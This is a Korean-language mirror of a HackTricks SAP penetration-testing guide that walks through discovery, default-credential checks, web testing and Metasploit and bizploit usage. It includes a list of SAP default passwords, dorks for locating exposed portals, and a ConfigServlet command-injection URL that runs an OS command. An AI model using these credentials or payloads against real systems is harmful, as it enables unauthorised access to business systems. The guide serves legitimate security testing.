mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
326 lines
25 KiB
Markdown
326 lines
25 KiB
Markdown
<details>
|
|
|
|
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 제로에서 영웅까지 AWS 해킹 배우기</strong></summary>
|
|
|
|
HackTricks를 지원하는 다른 방법:
|
|
|
|
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
|
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
|
* [**PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
|
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
|
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
|
|
|
|
</details>
|
|
|
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
|
|
|
{% embed url="https://websec.nl/" %}
|
|
|
|
|
|
# SAP에 대한 소개
|
|
|
|
SAP는 데이터 처리 시스템 응용 프로그램 및 제품을 나타냅니다. SAP는 ERP \(Enterprise Resource Planning\) 소프트웨어의 이름이자 회사 이름입니다.
|
|
SAP 시스템은 사실상 비즈니스 관리의 거의 모든 측면을 다루는 여러 통합 모듈로 구성됩니다.
|
|
|
|
각 SAP 인스턴스 \(또는 SID\)는 데이터베이스, 응용 프로그램 및 표현으로 구성된 세 개의 레이어로 구성되며, 각 랜드스케이프는 일반적으로 네 개의 인스턴스로 구성됩니다: 개발, 테스트, QA 및 프로덕션.
|
|
각 레이어는 어느 정도로도 악용될 수 있지만, **데이터베이스를 공격하는 것이 가장 효과적**입니다.
|
|
|
|
각 SAP 인스턴스는 클라이언트로 나뉘어집니다. 각각은 사용자 SAP\*로, 응용 프로그램의 "루트"에 해당합니다.
|
|
초기 생성 시, 이 사용자 SAP\*은 기본 암호 "060719992"를 받습니다 \(아래에 더 많은 기본 암호가 있음\).
|
|
테스트 또는 개발 환경에서 이러한 **암호가 자주 변경되지 않는 것을 알게 될 것입니다**!
|
|
|
|
사용자 이름 <SID>adm을 사용하여 어떤 서버의 셸에 액세스하려고 시도하세요.
|
|
Bruteforcing이 도움이 될 수 있지만, 계정 잠금 메커니즘이 있을 수 있습니다.
|
|
|
|
# 발견
|
|
|
|
> 다음 섹션은 대부분 [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)의 사용자 shipcod3의 것입니다!
|
|
|
|
* 테스트를 위해 응용 프로그램 범위 또는 프로그램 요약을 확인하세요. SAP GUI에 연결하기 위한 호스트 이름이나 시스템 인스턴스를 메모하세요.
|
|
* 인터넷에 노출되거나 공개된 경우 OSINT \(오픈 소스 인텔리전스\), Shodan 및 Google Dorks를 사용하여 파일, 서브도메인 및 중요한 정보를 확인하세요:
|
|
```text
|
|
inurl:50000/irj/portal
|
|
inurl:IciEventService/IciEventConf
|
|
inurl:/wsnavigator/jsps/test.jsp
|
|
inurl:/irj/go/km/docs/
|
|
https://www.shodan.io/search?query=sap+portal
|
|
https://www.shodan.io/search?query=SAP+Netweaver
|
|
https://www.shodan.io/search?query=SAP+J2EE+Engine
|
|
```
|
|
* 다음은 [http://SAP:50000/irj/portal](http://sap:50000/irj/portal)의 모습입니다.
|
|
|
|
|
|
|
|
* 열린 포트와 알려진 서비스\(sap 라우터, 웹다이노, 웹 서비스, 웹 서버 등\)를 확인하기 위해 nmap을 사용합니다.
|
|
* 웹 서버가 실행 중인 경우 URL을 크롤링합니다.
|
|
* 특정 포트에서 웹 서버가 실행 중인 경우 디렉토리를 퍼징합니다\(Burp Intruder를 사용할 수 있음\). 다음은 기본 SAP ICM 경로 및 기타 흥미로운 디렉토리 또는 파일을 찾기 위한 SecLists Project에서 제공하는 좋은 워드리스트입니다:
|
|
|
|
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls\_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-SAP.txt)
|
|
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt)
|
|
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt)
|
|
|
|
* SAP 인스턴스/서비스/구성 요소를 열거하기 위해 SAP SERVICE DISCOVERY 보조 Metasploit 모듈을 사용합니다:
|
|
```text
|
|
msf > use auxiliary/scanner/sap/sap_service_discovery
|
|
msf auxiliary(sap_service_discovery) > show options
|
|
Module options (auxiliary/scanner/sap/sap_service_discovery):
|
|
Name Current Setting Required Description
|
|
---- --------------- -------- -----------
|
|
CONCURRENCY 10 yes The number of concurrent ports to check per host
|
|
INSTANCES 00-01 yes Instance numbers to scan (e.g. 00-05,00-99)
|
|
RHOSTS yes The target address range or CIDR identifier
|
|
THREADS 1 yes The number of concurrent threads
|
|
TIMEOUT 1000 yes The socket connect timeout in milliseconds
|
|
msf auxiliary(sap_service_discovery) > set rhosts 192.168.96.101
|
|
rhosts => 192.168.96.101
|
|
msf auxiliary(sap_service_discovery) > run
|
|
[*] 192.168.96.101: - [SAP] Beginning service Discovery '192.168.96.101'
|
|
```
|
|
## 두꺼운 클라이언트 / SAP GUI 테스트
|
|
|
|
다음은 SAP GUI에 연결하는 명령입니다.
|
|
`sapgui <sap 서버 호스트 이름> <시스템 번호>`
|
|
|
|
* 기본 자격 증명 확인 \(Bugcrowd의 취약점 등급 분류에서 이는 P1로 간주됩니다 -> 서버 보안 구성 오류 \| 기본 자격 증명 사용 \| 프로덕션 서버\) :
|
|
```text
|
|
# SAP* - High privileges - Hardcoded kernel user
|
|
SAP*:06071992:*
|
|
SAP*:PASS:*
|
|
# IDEADM - High Privileges - Only in IDES systems
|
|
IDEADM:admin:*
|
|
# DDIC - High privileges - User has SAP_ALL
|
|
DDIC:19920706:000,001
|
|
# EARLYWATCH - High privileges
|
|
EARLYWATCH:SUPPORT:066
|
|
# TMSADM - Medium privileges
|
|
TMSADM:PASSWORD:000
|
|
TMSADM:$1Pawd2&:000
|
|
# SAPCPIC - Medium privileges
|
|
SAPCPIC:ADMIN:000,001
|
|
# SOLMAN dialog default users and passwords.
|
|
# For more info check:
|
|
# https://www.troopers.de/media/filer_public/37/34/3734ebb3-989c-4750-9d48-ea478674991a/an_easy_way_into_your_sap_systems_v30.pdf
|
|
# https://launchpad.support.sap.com/#/notes/2293011
|
|
# SOLMAN_ADMIN - High privileges - Only on SOLMAN systems
|
|
SOLMAN_ADMIN:init1234:*
|
|
# SAPSUPPORT - High privileges - Only on SOLMAN or satellite systems
|
|
SAPSUPPORT:init1234:*
|
|
# SOLMAN<SID><CLNT> - High privileges - Only on SOLMAN systems
|
|
#SOLMAN<SID><CLNT>:init1234:*
|
|
# Trial systems
|
|
# -------------
|
|
# AS ABAP 7.40 SP08 Developer Edition:
|
|
# https://blogs.sap.com/2015/10/14/sap-netweaver-as-abap-740-sp8-developer-edition-to-download-consise-installation-instruction/
|
|
DDIC:DidNPLpw2014:001
|
|
SAP*:DidNPLpw2014:001
|
|
DEVELOPER:abCd1234:001
|
|
BWDEVELOPER:abCd1234:001
|
|
# AS ABAP 7.50 SP02 Developer Edition:
|
|
# https://blogs.sap.com/2016/11/03/sap-nw-as-abap-7.50-sp2-developer-edition-to-download-consise-installation-guide/
|
|
# AS ABAP 7.51 SP02 Developer Edition:
|
|
# https://blogs.sap.com/2017/09/04/sap-as-abap-7.51-sp2-developer-edition-to-download-concise-installation-guide/
|
|
DDIC:Appl1ance:000,001
|
|
SAP*:Appl1ance:000,001
|
|
DEVELOPER:Appl1ance:001
|
|
BWDEVELOPER:Appl1ance:001
|
|
# AS ABAP 7.51 SP01 Developer Edition:
|
|
# https://blogs.sap.com/2018/09/13/as-abap-7.52-sp01-developer-edition-concise-installation-guide/
|
|
# AS ABAP 7.52 SP04 Developer Edition:
|
|
# https://blogs.sap.com/2019/10/01/as-abap-7.52-sp04-developer-edition-concise-installation-guide/
|
|
DDIC:Down1oad:000,001
|
|
SAP*:Down1oad:000,001
|
|
DEVELOPER:Down1oad:001
|
|
BWDEVELOPER:Down1oad:001
|
|
```
|
|
* Wireshark을 실행한 다음, SSL 없이 자격 증명을 전송하는 클라이언트(SAP GUI)에 인증합니다. SAP DIAG 프로토콜에서 사용하는 주요 헤더를 분석할 수 있는 두 가지 알려진 Wireshark 플러그인이 있습니다: SecureAuth Labs SAP dissection plug-in 및 Positive Research Center의 SAP DIAG 플러그인.
|
|
* 낮은 권한을 가진 사용자를 위해 일부 SAP 트랜잭션 코드(tcodes)를 사용한 권한 상승을 확인합니다:
|
|
* SU01 - 사용자 생성 및 유지 관리
|
|
* SU01D - 사용자 표시
|
|
* SU10 - 대량 유지 관리
|
|
* SU02 - 프로필 수동 생성
|
|
* SM19 - 보안 감사 - 구성
|
|
* SE84 - SAP R/3 권한에 대한 정보 시스템
|
|
* 클라이언트에서 시스템 명령 실행/스크립트 실행 가능 여부 확인
|
|
* BAPI Explorer에서 XSS 실행 가능 여부 확인
|
|
|
|
# 웹 인터페이스 테스트
|
|
|
|
* URL(발견 단계 참조)을 크롤링합니다.
|
|
* 발견 단계와 같이 URL을 퍼징합니다. 다음은 [http://SAP:50000/index.html](http://sap:50000/index.html)의 모습입니다:
|
|
|
|
|
|
|
|
* 일반적인 웹 취약점을 찾습니다(OWASP Top 10 참조) - XSS, RCE, XXE 등의 취약점이 일부 위치에 존재할 수 있습니다.
|
|
* 웹 취약점을 테스트하기 위해 Jason Haddix의 [“The Bug Hunters Methodology”](https://github.com/jhaddix/tbhm)를 확인합니다.
|
|
* 동사 조작을 통한 인증 우회 가능성 확인? 아마도 :\)
|
|
* `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#`를 열고 "Choose" 버튼을 클릭한 다음 열린 창에서 "Search"를 누릅니다. SAP 사용자 목록을 볼 수 있어야 합니다(취약점 참조: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/))
|
|
* 자격 증명이 HTTP를 통해 제출되는지 확인합니다. 그렇다면 Bugcrowd의 [Vulnerability Rating Taxonomy](https://bugcrowd.com/vulnerability-rating-taxonomy)에 따르면 P3로 간주됩니다: Broken Authentication and Session Management \| Weak Login Function Over HTTP. 힌트: [http://SAP:50000/startPage](http://sap:50000/startPage) 또는 로그온 포털을 확인하세요 :\)
|
|
|
|
|
|
|
|
* 가능한 디렉터리 목록 또는 인증 우회를 위해 `/irj/go/km/navigation/`를 시도합니다
|
|
* [http://SAP/sap/public/info](http://sap/sap/public/info)에는 유용한 정보가 포함되어 있습니다:
|
|
```xml
|
|
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
|
|
<SOAP-ENV:Body>
|
|
<rfc:RFC_SYSTEM_INFO.Response xmlns:rfc="urn:sap-com:document:sap:rfc:functions">
|
|
<RFCSI>
|
|
<RFCPROTO>011</RFCPROTO>
|
|
<RFCCHARTYP>4102</RFCCHARTYP>
|
|
<RFCINTTYP>BIG</RFCINTTYP>
|
|
<RFCFLOTYP>IE3</RFCFLOTYP>
|
|
<RFCDEST>randomnum</RFCDEST>
|
|
<RFCHOST>randomnum</RFCHOST>
|
|
<RFCSYSID>BRQ</RFCSYSID>
|
|
<RFCDATABS>BRQ</RFCDATABS>
|
|
<RFCDBHOST>randomnum</RFCDBHOST>
|
|
<RFCDBSYS>ORACLE</RFCDBSYS>
|
|
<RFCSAPRL>740</RFCSAPRL>
|
|
<RFCMACH>324</RFCMACH>
|
|
<RFCOPSYS>AIX</RFCOPSYS>
|
|
<RFCTZONE>-25200</RFCTZONE>
|
|
<RFCDAYST/>
|
|
<RFCIPADDR>192.168.1.8</RFCIPADDR>
|
|
<RFCKERNRL>749</RFCKERNRL>
|
|
<RFCHOST2>randomnum</RFCHOST2>
|
|
<RFCSI_RESV/>
|
|
<RFCIPV6ADDR>192.168.1.8</RFCIPV6ADDR>
|
|
</RFCSI>
|
|
</rfc:RFC_SYSTEM_INFO.Response>
|
|
</SOAP-ENV:Body>
|
|
</SOAP-ENV:Envelope>
|
|
```
|
|
# 공격!
|
|
|
|
* 오래된 서버나 Windows 2000과 같은 기술에서 실행되는지 확인합니다.
|
|
* 가능한 공격/공격 계획을 세우세요. SAP 발견을 위한 Metasploit 모듈 \(보조 모듈\)과 exploits이 많이 있습니다:
|
|
```text
|
|
msf > search sap
|
|
Matching Modules
|
|
================
|
|
Name Disclosure Date Rank Description
|
|
---- --------------- ---- -----------
|
|
auxiliary/admin/maxdb/maxdb_cons_exec 2008-01-09 normal SAP MaxDB cons.exe Remote Command Injection
|
|
auxiliary/admin/sap/sap_configservlet_exec_noauth 2012-11-01 normal SAP ConfigServlet OS Command Execution
|
|
auxiliary/admin/sap/sap_mgmt_con_osexec normal SAP Management Console OSExecute
|
|
auxiliary/dos/sap/sap_soap_rfc_eps_delete_file normal SAP SOAP EPS_DELETE_FILE File Deletion
|
|
auxiliary/dos/windows/http/pi3web_isapi 2008-11-13 normal Pi3Web ISAPI DoS
|
|
auxiliary/dos/windows/llmnr/ms11_030_dnsapi 2011-04-12 normal Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS
|
|
auxiliary/scanner/http/sap_businessobjects_user_brute normal SAP BusinessObjects User Bruteforcer
|
|
auxiliary/scanner/http/sap_businessobjects_user_brute_web normal SAP BusinessObjects Web User Bruteforcer
|
|
auxiliary/scanner/http/sap_businessobjects_user_enum normal SAP BusinessObjects User Enumeration
|
|
auxiliary/scanner/http/sap_businessobjects_version_enum normal SAP BusinessObjects Version Detection
|
|
auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt normal SAP CTC Service Verb Tampering User Management
|
|
auxiliary/scanner/sap/sap_hostctrl_getcomputersystem normal SAP Host Agent Information Disclosure
|
|
auxiliary/scanner/sap/sap_icf_public_info normal SAP ICF /sap/public/info Service Sensitive Information Gathering
|
|
auxiliary/scanner/sap/sap_icm_urlscan normal SAP URL Scanner
|
|
auxiliary/scanner/sap/sap_mgmt_con_abaplog normal SAP Management Console ABAP Syslog Disclosure
|
|
auxiliary/scanner/sap/sap_mgmt_con_brute_login normal SAP Management Console Brute Force
|
|
auxiliary/scanner/sap/sap_mgmt_con_extractusers normal SAP Management Console Extract Users
|
|
auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints normal SAP Management Console Get Access Points
|
|
auxiliary/scanner/sap/sap_mgmt_con_getenv normal SAP Management Console getEnvironment
|
|
auxiliary/scanner/sap/sap_mgmt_con_getlogfiles normal SAP Management Console Get Logfile
|
|
auxiliary/scanner/sap/sap_mgmt_con_getprocesslist normal SAP Management Console GetProcessList
|
|
auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter normal SAP Management Console Get Process Parameters
|
|
auxiliary/scanner/sap/sap_mgmt_con_instanceproperties normal SAP Management Console Instance Properties
|
|
auxiliary/scanner/sap/sap_mgmt_con_listlogfiles normal SAP Management Console List Logfiles
|
|
auxiliary/scanner/sap/sap_mgmt_con_startprofile normal SAP Management Console getStartProfile
|
|
auxiliary/scanner/sap/sap_mgmt_con_version normal SAP Management Console Version Detection
|
|
auxiliary/scanner/sap/sap_router_info_request normal SAPRouter Admin Request
|
|
auxiliary/scanner/sap/sap_router_portscanner normal SAPRouter Port Scanner
|
|
auxiliary/scanner/sap/sap_service_discovery normal SAP Service Discovery
|
|
auxiliary/scanner/sap/sap_smb_relay normal SAP SMB Relay Abuse
|
|
auxiliary/scanner/sap/sap_soap_bapi_user_create1 normal SAP /sap/bc/soap/rfc SOAP Service BAPI_USER_CREATE1 Function User Creation
|
|
auxiliary/scanner/sap/sap_soap_rfc_brute_login normal SAP SOAP Service RFC_PING Login Brute Forcer
|
|
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Injection
|
|
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection
|
|
auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing normal SAP SOAP RFC EPS_GET_DIRECTORY_LISTING Directories Information Disclosure
|
|
auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence normal SAP SOAP RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Check
|
|
auxiliary/scanner/sap/sap_soap_rfc_ping normal SAP /sap/bc/soap/rfc SOAP Service RFC_PING Function Service Discovery
|
|
auxiliary/scanner/sap/sap_soap_rfc_read_table normal SAP /sap/bc/soap/rfc SOAP Service RFC_READ_TABLE Function Dump Data
|
|
auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir normal SAP SOAP RFC RZL_READ_DIR_LOCAL Directory Contents Listing
|
|
auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface normal SAP /sap/bc/soap/rfc SOAP Service SUSR_RFC_USER_INTERFACE Function User Creation
|
|
auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Execution
|
|
auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec normal SAP SOAP RFC SXPG_COMMAND_EXECUTE
|
|
auxiliary/scanner/sap/sap_soap_rfc_system_info normal SAP /sap/bc/soap/rfc SOAP Service RFC_SYSTEM_INFO Function Sensitive Information Gathering
|
|
auxiliary/scanner/sap/sap_soap_th_saprel_disclosure normal SAP /sap/bc/soap/rfc SOAP Service TH_SAPREL Function Information Disclosure
|
|
auxiliary/scanner/sap/sap_web_gui_brute_login normal SAP Web GUI Login Brute Forcer
|
|
exploit/multi/sap/sap_mgmt_con_osexec_payload 2011-03-08 excellent SAP Management Console OSExecute Payload Execution
|
|
exploit/multi/sap/sap_soap_rfc_sxpg_call_system_exec 2013-03-26 great SAP SOAP RFC SXPG_CALL_SYSTEM Remote Command Execution
|
|
exploit/multi/sap/sap_soap_rfc_sxpg_command_exec 2012-05-08 great SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution
|
|
exploit/windows/browser/enjoysapgui_comp_download 2009-04-15 excellent EnjoySAP SAP GUI ActiveX Control Arbitrary File Download
|
|
exploit/windows/browser/enjoysapgui_preparetoposthtml 2007-07-05 normal EnjoySAP SAP GUI ActiveX Control Buffer Overflow
|
|
exploit/windows/browser/sapgui_saveviewtosessionfile 2009-03-31 normal SAP AG SAPgui EAI WebViewer3D Buffer Overflow
|
|
exploit/windows/http/sap_configservlet_exec_noauth 2012-11-01 great SAP ConfigServlet Remote Code Execution
|
|
exploit/windows/http/sap_host_control_cmd_exec 2012-08-14 average SAP NetWeaver HostControl Command Injection
|
|
exploit/windows/http/sapdb_webtools 2007-07-05 great SAP DB 7.4 WebTools Buffer Overflow
|
|
exploit/windows/lpd/saplpd 2008-02-04 good SAP SAPLPD 6.28 Buffer Overflow
|
|
exploit/windows/misc/sap_2005_license 2009-08-01 great SAP Business One License Manager 2005 Buffer Overflow
|
|
exploit/windows/misc/sap_netweaver_dispatcher 2012-05-08 normal SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow
|
|
```
|
|
* 알려진 취약점(Exploit-DB를 확인하세요)이나 공격을 활용해 보세요. 예를 들어 과거에 사용되던 "SAP ConfigServlet 원격 코드 실행"과 같은 공격을 시도해 볼 수 있습니다:
|
|
```text
|
|
http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a
|
|
```
|
|
|
|
|
|
* `start` 명령을 실행하기 전에 Discovery 단계에서 취약점 평가를 수행하기 위해 다음을 추가할 수 있습니다:
|
|
```text
|
|
bizploit> plugins
|
|
bizploit/plugins> vulnassess all
|
|
bizploit/plugins> vulnassess config bruteLogin
|
|
bizploit/plugins/vulnassess/config:bruteLogin> set type defaultUsers
|
|
bizploit/plugins/vulnassess/config:bruteLogin> set tryHardcodedSAPStar True
|
|
bizploit/plugins/vulnassess/config:bruteLogin> set tryUserAsPwd True
|
|
bizploit/plugins/vulnassess/config:bruteLogin> back
|
|
bizploit/plugins> vulnassess config registerExtServer
|
|
bizploit/plugins/vulnassess/config:registerExtServer> set tpname evilgw
|
|
bizploit/plugins/vulnassess/config:registerExtServer> back
|
|
bizploit/plugins> vulnassess config checkRFCPrivs
|
|
bizploit/plugins/vulnassess/config:checkRFCPrivs> set checkExtOSCommands True
|
|
bizploit/plugins/vulnassess/config:checkRFCPrivs> back
|
|
bizploit/plugins> vulnassess config icmAdmin
|
|
bizploit/plugins/vulnassess/config:icmAdmin> set adminURL /sap/admin
|
|
bizploit/plugins/vulnassess/config:icmAdmin> back
|
|
bizploit/plugins> start
|
|
bizploit/plugins> back
|
|
bizploit> start
|
|
```
|
|
# 기타 유용한 테스트 도구
|
|
|
|
* [PowerSAP](https://github.com/airbus-seclab/powersap) - SAP 보안 평가를 위한 Powershell 도구
|
|
* [Burp Suite](https://portswigger.net/burp) - 디렉터리 퍼징 및 웹 보안 평가에 필수적인 도구
|
|
* [pysap](https://github.com/SecureAuthCorp/pysap) - SAP 네트워크 프로토콜 패킷을 작성하기 위한 Python 라이브러리
|
|
* [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - SAP/ERP 감지를 돕는 nmap
|
|
|
|
## 참고 자료
|
|
|
|
* [Metasploit를 사용한 SAP 침투 테스트](http://information.rapid7.com/rs/rapid7/images/SAP%20Penetration%20Testing%20Using%20Metasploit%20Final.pdf)
|
|
* [https://github.com/davehardy20/SAP-Stuff](https://github.com/davehardy20/SAP-Stuff) - Bizploit를 반자동화하는 스크립트
|
|
* [SAP NetWeaver ABAP 보안 구성 파트 3: 응용 프로그램 접근을 위한 기본 암호](https://erpscan.com/press-center/blog/sap-netweaver-abap-security-configuration-part-2-default-passwords-for-access-to-the-application/)
|
|
* [SAP 보안과 관련된 ABAP 트랜잭션 코드 목록](https://wiki.scn.sap.com/wiki/display/Security/List+of+ABAP-transaction+codes+related+to+SAP+security)
|
|
* [SAP 포털 해킹](https://erpscan.com/wp-content/uploads/presentations/2012-HackerHalted-Breaking-SAP-Portal.pdf)
|
|
* [가장 흥미로운 SAP 취약점 및 공격 10선](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf)
|
|
* [bizploit를 사용한 SAP 생태계 보안 평가: 발견](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery)
|
|
* [https://www.exploit-db.com/docs/43859](https://www.exploit-db.com/docs/43859)
|
|
* [https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/](https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/)
|
|
* [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)
|
|
|
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
|
|
|
{% embed url="https://websec.nl/" %}
|
|
|
|
|
|
<details>
|
|
|
|
<summary><strong>AWS 해킹을 처음부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
HackTricks를 지원하는 다른 방법:
|
|
|
|
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
|
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
|
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
|
* **HackTricks 및 HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 요령을 공유하세요.**
|
|
|
|
</details>
|